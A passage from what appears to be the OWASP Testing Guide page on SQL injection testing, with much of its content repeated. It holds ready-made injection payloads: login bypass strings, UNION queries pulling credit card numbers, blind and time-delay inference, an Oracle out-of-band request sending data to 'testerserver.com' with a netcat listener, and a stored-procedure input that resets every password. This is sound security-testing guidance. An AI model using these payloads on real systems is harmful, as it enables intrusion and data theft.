techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

All cells in a column must have the same datatype

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
suppose that it contains a parameter named id vulnerable to SQL injection. This
means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

we will get one page with a custom message error which
is due to a syntactic error in the query. We suppose that the query executed on
the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we
will execute will allow us to obtain the value of the username field,
extracting such value character by character. This is possible through the use
of some standard functions, present practically in every database. For our
examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a
substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text,
the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A
null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input
text.

Through such functions, we will execute our tests on
the first character and, when we have discovered the value, we will pass to the
second and so on, until we will have discovered the entire value. The tests
will take advantage of the function SUBSTRING, in order to select only one
character at a time (selecting a single character means to impose the length
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so
that we can do numerical comparison. The results of the comparison will be done
with all the values of the ASCII table, until the right value is found. As an
example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

that creates the following query (from now on, we will
call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if
the first character of the field username is equal to the ASCII value 97. If we
get a false value, then we increase the index of the ASCII table from 97 to 98
and we repeat the request. If instead we obtain a true value, we set to zero
the index of the ASCII table and we analyze the next character, modifying the
parameters of the SUBSTRING function. The problem is to understand in which way
we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false. This is possible by
using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

by which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML
code) will be the false value for our tests. This is enough to verify whether
the value obtained from the execution of the inferential query is equal to the
value obtained with the test executed before. Sometimes, this method does not
work. If the server returns two different pages as a result of two identical
consecutive web requests, we will not be able to discriminate the true value
from the false value. In these particular cases, it is necessary to use
particular filters that allow us to eliminate the code that changes between the
two requests and to obtain a template. Later on, for every inferential request
executed, we will extract the relative template from the response using the
same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the
problem of determining the termination condition for out tests, i.e., when we
should end the inference procedure. A techniques to do
this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the
value null) and the test returns the value true, then either we are done with
the inference procedue (we have scanned the whole
string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have
analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain
true, then we have completed inference and, therefore, we know the value of the
parameter. If we obtain false, this means that the null character is present in
the value of the parameter, and we must continue to analyze the next parameter
until we find another null value.

The blind SQL injection attack needs a high volume of
queries. The tester may need an automatic tool to exploit the vulnerability.

=== Error based Exploitation technique ===

The Error based
exploitation technique is useful when the tester for some reason can’t exploit
the SQL injection vulnerability using other technique such as UNION. The Error
based technique consists in forcing the database to perform some operation in
which the result will be an error. The point here is to try to extract some
data from the database and show it in the error message. This exploitation
technique can be different from DBMS to DBMS (check DBMS specific session).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the
hostname of the parameter passed to it, which is other query, the name of the
user. When the database looks for a hostname with the user database name, it
will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester
can manipulate the parameter passed to GET_HOST_NAME()
function and the result will be shown in the error message.

=== Out of band Exploitation technique ===

This technique
is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. The technique consists in
the use of DBMS functions to perform an out of band connection and deliver the
results of the injected query as part of the request to the tester’s server.

Like the error
based techniques, each DBMS has its own functions. Check for specific DBMS
section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this
example, the tester is concatenating the value 10 with the result of the
function UTL_HTTP.request. This Oracle function will
try to connect to ‘testerserver’ and make a HTTP GET
request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver
(e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

=== Time day Exploitation technique ===

The Boolean
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. This technique consists
in sending an injected query and in case the conditional is true, the tester
can monitor the time taken to for the server to respond. If there is a delay,
the tester can assume the result of the conditional query is true. This
exploitation technique can be different from DBMS to DBMS (check DBMS specific
session)

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example
the tester if checking whether the MySql version is
5.x or not, making the server to delay the answer in 5 seconds. The tester can
increase the delay’s time and monitor the responses. The tester also doesn’t
need to wait for the response. Sometimes he can set a very high value (e.g.
100) and cancel the request after some seconds.

=== Stored Procedure Injection ===

When using dynamic SQL within a stored procedure, the application must
properly sanitize the user input to eliminate the risk of code injection. If
not sanitized, the user could enter malicious SQL that will be executed within
the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure user_login @username varchar(20), @passwd varchar(20) As

Declare @sqlstring varchar(250)

Set @sqlstring = ‘

Select 1
from users

Where
username = ‘ + @username + ‘ and passwd
= ‘ + @passwd

exec(@sqlstring)
Go
User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the
return value to show an existing record with these
parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a
user, but consider a dynamic reporting query where the user selects the columns
to view. The user could insert malicious code into this scenario and compromise
the data. 
Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from
users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being
updated.

=== Automated Exploitation ===

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

== Related Articles ==

* [[Top 10 2010-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* http://sqlsus.sourceforge.net
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

Testing for SQL Injection (OTG-INPVAL-005)

2012-11-22T11:02:15Z

Ismael Rocha: Format issues

{{Template:OWASP Testing Guide v4}}

==Brief Summary ==

An [[SQL injection]] attack consists of insertion or
"injection" of a SQL query via the input data from the client to the
application. A successful SQL injection exploit can read sensitive data from
the database, modify database data (insert/update/delete), execute
administration operations on the database (such as shutdown the DBMS), recover
the content of a given file existing on the DBMS file system or write files into
the file system, and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to
affect the execution of predefined SQL commands.

==Description of the Issue ==

In general the way web
applications construct SQL statements involving SQL syntax wrote by the
programmers mixed with user-supplied data. Example:

<pre>select title, text from news where id=$id</pre>

The red part is the SQL static
part supplied by the programmer and the variable $id contains user-supplied
data, making the SQL statement dynamic.

Because the way it was
constructed, the user can supply crafted input trying to make the original SQL
statement execute commands at user’s behavior. The example illustrates the
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,
modifying the WHERE clause adding a condition “or 1=1”.

<pre>select title, text from news where id=10 or 1=1</pre>

SQL Injection attacks can
be divided into the following three classes:

* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

Independent of the attack
class, a successful SQL Injection attack requires the attacker to craft a
syntactically correct SQL Query. If the application returns an error message
generated by an incorrect query, then it is easy to reconstruct the logic of
the original query and, therefore, understand how to perform the injection
correctly. However, if the application hides the error details, then the tester
must be able to reverse engineer the logic of the original query. The latter
case is known as "[[Blind SQL Injection]]".

About the techniques to
exploit SQL injection flaws there are five commons techniques. Also those
techniques sometimes can be used in a combined way (e.g. union operator and
out-of-band):

* Union Operator: usually can be used when the SQL injection flaw happens in a SELECT statement, making possible to combine two queries into a single result.
* Boolean: use Boolean condition to verify if certain conditions are true or false.
* Error based: this technique forces the database to generate an error making
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn’t have some kind of answer from the application.

==SQL Injection Detection ==

The first step in this test is to understand when the
application connects to a DB Server in order to access some data. Typical
examples of cases when an application needs to talk to a DB include:

* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability etc) are very likely to be stored in a relational database.

The tester has to make a list of all input fields
whose values could be used in crafting a SQL query, including the hidden fields
of POST requests and then test them separately, trying to interfere with the
query and to generate an error. Consider also HTTP headers and Cookies. The
very first test usually consists of adding a single quote (') or a semicolon
(;) to the field under test. The first is used in SQL as a string terminator
and, if not filtered by the application, would lead to an incorrect query. The
second is used to end a SQL statement and, if it is not filtered, it is also
likely to generate an error. The output of a vulnerable field might resemble
the following (on a Microsoft SQL Server, in this case):

<pre>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
</pre>

<pre>/target/target.asp, line 113</pre>

Also comments (--) and other SQL keywords like 'AND'
and 'OR' can be used to try to modify the query. A very simple but sometimes
still effective technique is simply to insert a string where a number is
expected, as an error like the following might be generated:

<pre> Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>

Monitor all the responses from the web server and have
a look at the HTML/javascript source code. Sometimes
the error is present inside them but for some reason (e.g. javascript
error) is not presented to the user. A full error message, like those in the
examples, provides a wealth of information to the tester in order to mount a
successful injection. However, applications often do not provide so much
detail: a simple '500 Server Error' or a custom error page might be issued,
meaning that we need to use blind injection techniques. In any case, it is very
important to test each field separately: only one variable must vary while all
the other remain constant, in order to precisely understand which parameters
are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Example 1 (classical SQL Injection):

Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web
application in order to authenticate a user. If the query returns a value it
means that inside the database a user with that
credentials exists, then the user is allowed to login to the system, otherwise
the access is denied. The values of the input fields are generally obtained
from the user through a web form. Suppose we insert the following Username and
Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are
sent to the server through the GET method, and if the domain of the vulnerable
web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1
</pre>

After a short analysis we notice that the query
returns a value (or a set of values) because the condition is always true (OR
1=1). In this way the system has authenticated the user without knowing the
username and password. ''In some systems the first row of a user table would be an administrator
user. This may be the profile returned in some cases.'' Another example of
query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))
</pre>

In this case, there are two problems, one due to the
use of the parentheses and one due to the use of MD5 hash function. First of
all, we resolve the problem of the parentheses. That simply consists of adding
a number of closing parentheses until we obtain a corrected query. To resolve
the second problem, we try to invalidate the second condition. We add to our
query a final symbol that means that a comment is beginning. In this way,
everything that follows such symbol is considered a comment. Every DBMS has its
own symbols of comment, however, a common symbol to the greater part of the
database is /*. In Oracle the symbol is "--". This said, the values
that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*
</pre>

<pre>$password = foo
</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))
</pre>

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo
</pre>

This returns a number of values. Sometimes, the
authentication code verifies that the number of returned tuple
is exactly equal to 1. In the previous examples, this situation would be
difficult (in the database there is only one value per user). In order to go
around this problem, it is enough to insert a SQL command that imposes the
condition that the number of the returned tuple must
be one. (One record returned) In order to reach this goal, we use the operator
"LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the
previous example, the value of the fields Username and
Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/*
</pre>

<pre>$password = foo
</pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo
</pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the
query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester
try a valid value (e.g. 10 in this case), the application will return the
description of a product.
A good way to test if the application is vulnerable in this scenario
is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10
AND 1=2</pre>

In this case, probably the application would return
some message telling us there is no content available or a blanket page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

This second example can also be used to test Blind Sql Injection.

Example 3 (Stacked queries):

Depending on the API which the web application is using
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) is possible to
execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row
and independent on the first query.

=== Fingerprinting the Database ===

Even the SQL language is a standard,
every DBMS has its peculiarity and differs from each other in many aspects like
especial commands, functions to retrieve data such as users names and
databases, features, comments line etc.

When the testers move to a more advanced SQL injection
exploitation they need to know the backend.

1) The first way to find out which is the backend is by
observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message,
the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

==Exploitation techniques ==

=== Union Exploitation technique ===

The UNION operator is used
in SQL injections to join a query, purposely forged by the tester, to the
original query. The result of the forged query will be joined to the result of
the original query, allowing the tester to obtain the values of fields of other
tables. We suppose for our examples that the query executed from the server is
the following:

SELECT
Name, Phone, Address FROM Users WHERE Id=$id

We will set the following
Id value:

$id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following
query:

SELECT
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

which will join the result of the original query
with all the credit card users. The keyword '''ALL''' is necessary to get
around queries that use the keyword DISTINCT. Moreover, we notice that beyond
the credit card numbers, we have selected other two values. These two values
are necessary, because the two query must have an
equal number of parameters, in order to avoid a syntax error.

The first
information the tester need to exploit the SQL injection vulnerability using
such technique is to find the right numbers of columns in the SELECT statement.

In order to
achieve it the tester can use ORDER BY clause followed by a number indicating
the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester will see
the tester can assume, in this example, there are 10 or more columns in the
SELECT statement. If the query fails and there is an error message available
probably it would be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester find out the numbers of columns, the
next step is to find out the type of columns. Assuming there were 3 columns in
the example above, the tester could try each column type, using the NULL value
to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--</pre>

If the query fails, probably the tester will see a
message like:

All cells in a column must have the same datatype

If the query executes with success, the first column
can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the success exploitation, depending on the
application, it will show to the tester only the first result, because the
application treats only the first line of the result. In this case, it is
possible to use LIMIT like clause or the tester can set an invalid value,
making only the second line valid (supposing there is no entry in the database
which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

=== Boolean Exploitation technique ===

The Boolean exploitation technique is very useful when
the tester find a [[Blind SQL Injection]] situation, in
which nothing is known on the outcome of an operation. For example, this
behavior happens in cases where the programmer has created a custom error page
that does not reveal anything on the structure of the query or on the database.
(The page does not return a SQL error, it may just
return a HTTP 500). 
By using the inference methods, it is possible to avoid this obstacle and thus
to succeed to recover the values of some desired fields. This method consists
of carrying out a series of boolean
queries to the server, observing the answers and finally deducing the meaning
of such answers. We consider, as always, the www.example.com domain and we
